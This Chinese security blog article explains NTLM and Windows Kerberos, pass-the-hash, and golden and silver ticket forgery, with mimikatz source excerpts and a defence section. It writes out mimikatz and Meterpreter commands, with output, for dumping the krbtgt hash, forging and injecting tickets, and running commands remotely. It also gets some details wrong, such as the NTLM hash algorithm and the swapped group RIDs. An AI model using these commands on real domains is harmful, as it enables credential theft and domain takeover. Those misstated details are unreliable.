内容简介:本文主要介绍一些 Kerberos 协议的原理和围绕其展开的攻防研究,针对黄金/白银票据如何工作的细节进行了一些研究。最初的 Kerberos 协议是由 MIT 制定的,很多系统在实现过程中有不同的细节,如 Windows Kerberos 认证协议中就新增了 PAC 认证这一块,需要特别注意。本文主要是以 Windows Kerberos 的实现为主,但查阅资料时可能会有部分细节来源自 MIT 的标准,若有纰漏还望读者包涵指正。
0x00 前言
本文主要介绍一些 Kerberos 协议的原理和围绕其展开的攻防研究,针对黄金/白银票据如何工作的细节进行了一些研究。
最初的 Kerberos 协议是由 MIT 制定的,很多系统在实现过程中有不同的细节,如 Windows Kerberos 认证协议中就新增了 PAC 认证这一块,需要特别注意。
本文主要是以 Windows Kerberos 的实现为主,但查阅资料时可能会有部分细节来源自 MIT 的标准,若有纰漏还望读者包涵指正。
0x01 NTLM 简介
在介绍Kerberos协议之前,先简单介绍一下NTLM的相关知识。
在 Windows中, 存储的密码Hash就叫做 NTLM Hash,其中NTLM 全称是 “NT LAN Manager”,NTLM Hash 由hash 算法( HMAC - MD5 )对密码运算后得到。
在局域网或者域中,经常会使用NTLM 协议来进行认证,大概流程如下:
- Client 向 Server端发送请求,要求使用 Tom 用户进行认证。
- Server 端收到后,生成一个随机字符串C,使用 Tom 账号的 NTLM Hash 对C加密。将未加密的C发送给 Client。
- Client 收到C后,用 Tom 的 NTLM Hash 对C 加密,然后发送给 Server。
- Server 收到后,验证两边加密的结果是否相等,相等就表示通过。
通过这样的认证流程,就能够在不发送用户密码明文和Hash的情况下进行认证了。
0x02 Pass The Hash
通过对上面原理的介绍,我们发现,即使不能获取到某个账号的明文密码,仅仅获取NTLM Hash也是大有可为的。一旦获取了某个账号的NTLM Hash,我们就能够进行 Pass The Hash 攻击(PTH)。
Pass The Hash 攻击
- Metasploit ( exploit/windows/smb/psexec, tools/exploit/psexec.rb )
- Psexec.exe
- mimikatz
mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a user : Administrateur domain : chocolate.local program : cmd.exe NTLM : cc36cf7a8514893efccd332446158b1a | PID 712 | TID 300 | LUID 0 ; 362544 (00000000:00058830) \_ msv1_0 - data copy @ 000F8AF4 : OK ! \_ kerberos - data copy @ 000E23B8 \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ des_cbc_md5 -> null \_ des_cbc_crc -> null \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace -> null
0x03 Kerberos 协议简介
Kerberos 协议认证的原理和上述提到的 NTLM 有很多类似的地方,下面简单介绍一下Kerberos 的认证流程。
- ( AS-REQ )Client 发送用户名 Tom 到 KDC (Key Distribution Center)以向 AS (Authentication Service)请求 TGT 票据等信息。
- ( AS-REP )收到请求后,AS 生成随机字符串 Session Key,(???加上时间戳 timestamp)使用 Tom 的 NTLM Hash 对 Session Key 加密得到密文 A,再使用账号 krbtgt 的 NTLM Hash 对 Session Key 、 Client Info和 timestamp 加密得到 TGT,A 和 TGT 一起返回给 Client。
- ( TGS-REQ ) Client 收到请求后,使用自身的 NTLM Hash 解密 A 就能得到 Session Key,然后使用 Session Key 对 Client Info 和 timestamp 加密得到 B,加上 TGT ,发送给 KDC中的 TGS。
- ( TGS-REP )TGS 收到请求后,使用 krbtgt 的 NTLM Hash 解密 TGT,得到 Session Key 和 timestamp 以及 Client Info,同时,使用 TGT 解密出的 Session Key 解密密文B,得到Client Info 和 timestamp。 比对这两部分解密得到的内容以验证是否通过。通过后,生成一个新的随机数 Session Key2,并用它加密 client info 和 timestamp 得到密文 enc-part;使用服务器计算机的NTLM Hash 对 session key2 和 client info 以及 timestamp 加密得到最终的 Ticket,返回给 Client。
- ( AP-REQ )Client 使用 Ticket 和 enc-part 直接请求某服务。
- ( AP-REP ) 对Ticket 和 enc-part 解密后进行验证授权。
注意:
- Kerberos 协议设计的思路就是用来在不受信的环境下进行认证的协议。
- krbtgt 账号的 NTLM Hash 理论上只存在于 KDC 中。这意味着 TGT 只能由 KDC 来解密。如果krbtgt 账号的NTLM Hash泄露了,那么 TGT 就能被解密甚至伪造。伪造的 TGT 叫做黄金票据。
- Ticket 是由服务器计算机本身的 NTLM Hash 加密的,Client 不能解密。如果该Hash 泄露,那么就可以解密甚至伪造 Ticket。伪造的 Ticket 叫做白银票据。
- 在上述的流程中,涉及到时间戳 timestamp,由于它的存在,才使得被第三方获取了加密信息 A 、B、TGT不会在短时间内被暴力破解。timestamp 一般时间为8小时。
- Kerberos 协议和 NTLM 协议都会使用 NTLM Hash 对生成的任意随机数加密,然后比对结果。 Kerberos 的主要区别在于添加了第三方——-KDC参与到认证过程中。
- Client info 中包含域名信息、Client 名称等
0x04 Kerberos PAC 验证
PAC( Privilege Account Certificate )是用来验证数据合法性的一个扩展功能,它被包含在 Kerberos Ticket 中以一个数据结构体存在。 PAC 结构体包含安全标识符,组成员身份,用户配置文件信息和密码凭据等信息。PAC 验证的目的是为了解决 PAC 欺骗,防止攻击者利用篡改的 PAC 信息实现未授权访问。
下图显示了Kerberos PAC 认证过程。
默认情况下 PAC 验证是不开启的,开启后会增加一些网络和性能上的消耗。
MS14-068 漏洞,就是基于 PAC 认证的错误,从而导致域内普通用户可以伪造凭据,从而提权到管理员权限。
0x05 Pass The Ticket
黄金票据(Gold Ticket)
攻击者在获取了 krbtgt 账号的 ntlm hash 后,就能自己任意伪造 TGT(包括session key,client info等内容),然后直接发送给 kdc,实现任意权限伪造。
伪造黄金票据所需信息
- 目标的域名信息(如:vln2012.local)
- 目标域名的 SID (可通过
lsadump::lsa
获取) - 伪造的账号名称(如: Administrator)
- 伪造账号的 RID (RID 是 SID 最右边的一部分,默认的 Administrator 账号的 RID 是 500)
- 伪造账号所属组的 RIDs (如
Domain Users
和Domain Admins
的RIDs 分别是 512 和 513) - 一个或者多个 krbtgt 账号的 Hash (如: RC4 加密的 NTLM Hash,AES-128 HMAC 、AES-256 HMAC)
伪造黄金票据的方法和工具
首先需要获取 krbtgt 账号的 hash,常用的方法如下:
- DCSync (mimikatz)
mimikatz 会模拟域控,向目标域控请求账号密码信息。 这种方式动静更小,不用直接登陆域控,也不需要提取NTDS.DIT文件。需要域管理员或者其他类似的高权限账户。
lsadump::dcsync /user:krbtgt
或者在 meterpreter 中使用 kiwi 扩展
dcsync_ntlm krbtgt
- LSA(mimikatz)
mimikatz 可以在域控的本地安全认证(Local Security Authority)上直接读取
privilege::debug lsadump::lsa /inject /name:krbtgt
- Hashdump(Meterpreter)
- ntds.dit
将域控中的数据库 ntds.dit 复制出来使用其他 工具 解析,需要注意有时候这个 ntds.dit 是非常大的。
伪造黄金票据:
Mimikatz
mimikatz # kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi User : utilisateur Domain : chocolate.local SID : S-1-5-21-130452501-2365100805-3685010670 User Id : 1107 Groups Id : *513 krbtgt : 310b643c5316c8c3c70a10cfb17e2e31 - rc4_hmac_nt Lifetime : 15/08/2014 01:57:29 ; 12/08/2024 01:57:29 ; 12/08/2024 01:57:29 -> Ticket : utilisateur.chocolate.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file !
Meterpreter
golden_ticket_create -d chocolate.local -u utilisateur -s S-1-5-21-130452501-2365100805-3685010670 -k 310b643c5316c8c3c70a10cfb17e2e31 -t utilisateur.chocolate.kirbi
注入当前用户内存中:
Mimikatz
kerberos::ptt utilisateur.chocolate.kirbi
Meterpreter
kerberos_ticket_use utilisateur.chocolate.kirbi
查看内存中的 ticket
kerberos::list kerberos::tgt kerberos_ticket_list # meterpreter
访问域内其他服务器
dir \\WIN-PTELU2U07KG\C$
注意:如果使用 IP 地址访问的话会失败,使用 Netbios 的服务名访问才会走 Kerberos 协议(具体原因可以比较两协议的原理得出)。
通过 psexec 执行命令
PsExec64.exe \\WIN-PTELU2U07KG\ cmd.exe
理论上也可以使用 powershell、wmic 来远程执行命令。
黄金票据的特点
-
黄金票据可以冒充域内任何用户生成对应的 Kerberos TGT 票证。因此,它可以用来任何合法的用户,虽然一般都会选择域管理员帐户;
- 可以离线创建。一旦收集了创建黄金票据所需的所有数据,就不需要连接到域(参见上面的内容);
- 在有限期内都有效。Mimikatz 默认值为10年,也提供了参数可以创建任意有效期的黄金票据。但如果域管理员修改了 krbtgt 账户的 Hash, 黄金票据就会立即失效;
- 域组策略中修改 Kerberos Policy 中的生存周期(lifetime)不会影响到黄金票据(默认更新时间为10小时,总有效时间为7天)。KDC 会验证 TGT 中的存活时间戳,而不是域控上的组策略设置。攻击者生成任何生存周期的黄金票据;
- 被冒充的帐户重置密码不会影响到黄金票据;
- 重置 krbtgt 账号的密钥会使所有的黄金票据失效;
- Windows 事件日志不区分合法TGT与黄金票据。 因此目前没有通用的规则来检测黄金票据使用。
白银票据 (Silver Ticket)
通过获取 Server 端本地计算机账户(或服务账号)对应的 NTLM Hash,在不用与 KDC 进行通信的情况下,就能伪造该计算机任意服务的 Ticket。
伪造白银票据所需的信息:
- 目标的域名信息(如: example.domain.local )
- 目标域名的 SID (可通过
lsadump::lsa
获取) - 伪造的账号名称(如: Administrator )
- 目标计算机账号(或对应服务账号,如 MS SQL )的 Hash
- 目标服务器的 FQDN(Fully Qualified Domain Name,如 adsmswin2k8r2.example.domain.local )
伪造白银票据的方法和工具
mimikatz
mimikatz “kerberos::golden /admin:Administrator /id:500 /domain:example.domain.local /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.example.domain.local /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit
使用和其他功能同黄金票据。
黄金、白银票据的差异
- 黄金票据伪造的是 TGT,白银票据伪造的是 Ticket;黄金票据是在 Kerberos 协议中的第三步(TGS-REQ)开始,而白银票据是从第五步(AP-REQ)开始。两者伪造的信息和伪造的步骤都不同。
- 黄金票据需要与 KDC 通信,而白银票据不需要。
- 黄金票据需要 krbtgt 账号的 NTLM Hash,而白银票据需要的是目标计算机对应的账号或对应服务账号的 NTLM Hash。
- 白银票据需要指定目标服务/计算机的路径(如 adsmswin2k8r2.example.domain.local ),以及对应的服务名(如 cifs , rpcss , http , mssql )。
- 白银票据只对指定计算机上的指定服务生效,局限性比较大。
PTT 的一些实现细节
可以看到在生成黄金票据的时候,mimikatz 会提示生成了好几部分内容,这些提示我试图查找一些资料,都没有找到现成的解释,于是都去翻了翻 mimikatz 的源码试图找到合理的解释。
在 kuhl_m_kerberos.c #508 处的 kuhl_m_kerberos_golden_data
函数,是负责生成黄金票据信息的主要函数,可以看到有相关的一些参数。
继续查看该函数实现的定义,如下
if(sid) // we want a PAC ! { if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids)) { if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated\n"); status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize); if(NT_SUCCESS(status)) kprintf(L" * PAC signed\n"); } } } if(!sid || NT_SUCCESS(status)) { if(BerApp_EncTicketPart = kuhl_m_kerberos_ticket_createAppEncTicketPart(&ticket, pacType, pacTypeSize)) { kprintf(L" * EncTicketPart generated\n"); status = kuhl_m_kerberos_encrypt(keyType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, keySize, BerApp_EncTicketPart->bv_val, BerApp_EncTicketPart->bv_len, (LPVOID *) &ticket.Ticket.Value, &ticket.Ticket.Length, TRUE); if(NT_SUCCESS(status)) { kprintf(L" * EncTicketPart encrypted\n"); if(BerApp_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(&ticket, FALSE)) kprintf(L" * KrbCred generated\n"); LocalFree(ticket.Ticket.Value); } else PRINT_ERROR(L"kuhl_m_kerberos_encrypt %08x\n", status); ber_bvfree(BerApp_EncTicketPart); } }
一共分成三部分,分别是
- 生成PAC并对其签名
- 生成并加密EncTicketPart
- 生成最终的TGT
生成和签名PAC
可以看到是先通过函数 kuhl_m_pac_infoToValidationInfo
(这些信息包括 LogoffTime, PasswordLastSet, PasswordMustChange 等) 和 kuhl_m_pac_validationInfo_to_PAC
生成验证信息并转化为PAC 结构,然后用 kuhl_m_pac_signature
函数对其签名,PAC 信息就生成完毕,代码见 kuhl_m_kerberos_pac.c#L146 。
生成和加密EncTicketPart
接下来使用函数 kuhl_m_kerberos_ticket_createAppEncTicketPart
(参考 kuhl_m_kerberos_ticket.c#L250 )生成 EncTicketPart,这个EncTicketPart就是是组成 TGT 的重要组成部分,TGT 的详细组成后面会讲。
查看一下该函数的实现细节如下(部分代码):
ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS)); kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY)); kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM)); kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME)); kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName); ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME)); kull_m_asn1_GenTime(pBer, &ticket->StartTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME)); kull_m_asn1_GenTime(pBer, &ticket->StartTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME)); kull_m_asn1_GenTime(pBer, &ticket->EndTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL)); kull_m_asn1_GenTime(pBer, &ticket->RenewUntil); ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */
可以看到一些该部分是由 ID_CTX_ENCTICKETPART_FLAGS, ID_CTX_ENCTICKETPART_KEY, ID_CTX_ENCTICKETPART_CREALM 等信息组成的,这就是 EncTicketPart 的主要组成结构(参考 RFC4120 )。
在生成完 EncTicketPart 之后,需要使用之前生成的随机的 Session Key 对其加密(本来 Session Key 是由 KDC 协商的,因为这里是伪造的,所以是本地生成)。实现的函数是 kuhl_m_kerberos_encrypt
。
生成最终的TGT
然后是 kuhl_m_kerberos_ticket_createAppKrbCred
函数创建最终的TGT(参考 kuhl_m_kerberos_ticket.c#L196 ),Ticket的结构如下:
Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno [0] INTEGER (5), realm [1] Realm, sname [2] PrincipalName, enc-part [3] EncryptedData -- EncTicketPart }
创建完之后,将伪造的黄金票据注入到内存中,使用 kuhl_m_kerberos_ptt_data
函数(参考),该函数先将伪造的黄金票据复制到内存中,然后调用 LsaCallAuthenticationPackage
函数来解析缓存中的认证信息,验证是否可用。
0x06 防御
保护域控和敏感账户
- 限制域管理员和其他高权限账户登陆低信任程度的服务器。
- 给管理员提供专门的高权限用户来进行管理操作,与日常使用的普通权限用户区分开。
- 使用专门的工作站来进行管理任务。
- 在域环境中,将特权账户标记为敏感且不能委派(sensitive and cannot be delegated)。
- 不要使用高权限的域账号在不受信任的系统(如个人电脑)上配置服务或者计划任务。
小结: 如果从未在被入侵的计算机上登陆过高权限账户,那么攻击者无法窃取高权限账号的信息。这些措施可以明显增高攻击者危害高权限账户的攻击成本。
重置 krbtgt 账号密码
重置该账号密码可以使得所以所有生成的黄金票据立即失效,可能会导致一些手动输入密码的服务失效,同时造成短时间内域控的负载增大。
开启 PAC 验证
开启 PAC 验证,但会增加 KDC 的压力。
检测
gentilkiwi 写了一个 yara 规则用来检测 dump hash 的相关,见 kiwi_passowrds.yar
0x07 参考链接
https://www.secpulse.com/archives/94848.html
http://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf
https://tools.ietf.org/html/rfc4120#section-5.8
http://www.securityandit.com/network/kerberos-protocol-understanding/
https://github.com/gentilkiwi/mimikatz
https://en.wikipedia.org/wiki/NT_LAN_Manager
https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/
https://ldapwiki.com/wiki/Golden%20Ticket
https://pentestlab.blog/2018/04/09/golden-ticket/
https://adsecurity.org/?p=2011
https://download.microsoft.com/download/7/7/a/77abc5bd-8320-41af-863c-6ecfb10cb4b9/mitigating%20pass-the-hash%20(pth)%20attacks%20and%20other%20credential%20theft%20techniques_english.pdf
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